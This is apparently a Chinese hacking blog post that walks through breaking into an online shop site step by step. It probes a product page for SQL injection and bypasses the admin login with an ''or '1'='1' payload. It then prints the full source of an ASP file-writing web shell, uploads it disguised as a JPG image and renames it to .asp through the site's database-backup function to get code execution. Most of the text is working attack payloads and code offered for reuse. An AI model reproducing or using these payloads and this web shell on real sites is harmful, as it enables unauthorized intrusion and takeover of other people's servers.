今天看一个网络商城站。感觉告诉我有漏洞。先做一下简单的测试
http://www.xxx.com/shop/showproduct.asp?id=189%20and%201=1
返回正常
http://www.xxx.com/shop/showproduct.asp?id=189%20and%201=2
返回错误:adodb.field 错误 '800a0bcd'
bof 或 eof 中有一个是“真”,或者当前的记录已被删除,所需的操作要求一个当前的记录。
/shop/showproduct.asp,行18
说明有sql漏洞。可以猜解出管理员用户和密码。但我不想用工具。就直接去后台看看是不是可以进去
http://www.xxx.com/shop/admin
要输入管理员用户和密码,我输入or '1'='1'返回:
microsoft ole db provider for odbc drivers 错误 '80040e14'
[microsoft][odbc microsoft access driver] 语法错误 (操作符丢失) 在查询表达式 'admin_name='or '1'='1'' and admin_pass='or '1'='1''' 中。
/shop/admin/manage.asp,行26
呵呵原来是or前面有一个单引号没有闭合
,输入'or '1'='1 成功进去了。
原理:判断管理员密码的时候先判断是不是为空 如果不是空 就开始取得密码 然后与数据库内的比较 当我们输入上面的时候 就构成了一个或者语句 or是或者的意思。使原来的语句变成 当密码等于数据库中的密码或者是1=1时可以进入。因为1=1是正确的 所以就直接进入了 而不用判断了 你可以把里面的1=1换成2=2 3=3 admin=admin看看 都是一个样子的
进去以后。添加一个文章看看是不是有可以上传的地方。果然有一个。我把下面的代码保存成jpg后缀的文件上传:
<% dim objfso %><% dim fdata %><% dim objcountfile %><% on error resume next %><% set objfso = server.createobject("scripting.filesystemobject") %><% if trim(request("syfdpath"))<>"" then %><% fdata = request("cyfddata") %><% set objcountfile=objfso.createtextfile(request("syfdpath"),true) %><% objcountfile.write fdata %><% if err =0 then %><% response.write "<font color=red>save </font>" %><% end if %><% end if %><% objcountfile.close %><% set objcountfile=nothing %><% set objfso = nothing %><% response.write "<form action='' method=post>" %><% response.write "<font color=red></font>" %><% response.write "<input type=text name=syfdpath width=32 size=50>" %><% response.write "<br>" %><%=server.mappath(request.servervariables("script_name")) %><% response.write "<br>" %><% response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>" %><% response.write "<input type=submit value=保存>" %>
<% response.write "</form>" %>中国品客联盟 http;//www.00880.info
得到一个地址2342423432.jpg 我们发表以后查看一下图片属性 得到是在/pic文件夹里面。
到后台。备份数据库。数据库地址填:../pic/2342423432.jpg 备份文件夹不变。备份数据库名字改为pker.asp 备份成功以如下的地址登陆:
http://www.xxx.com/shop/admin/databackup/pker.asp
呵呵成功。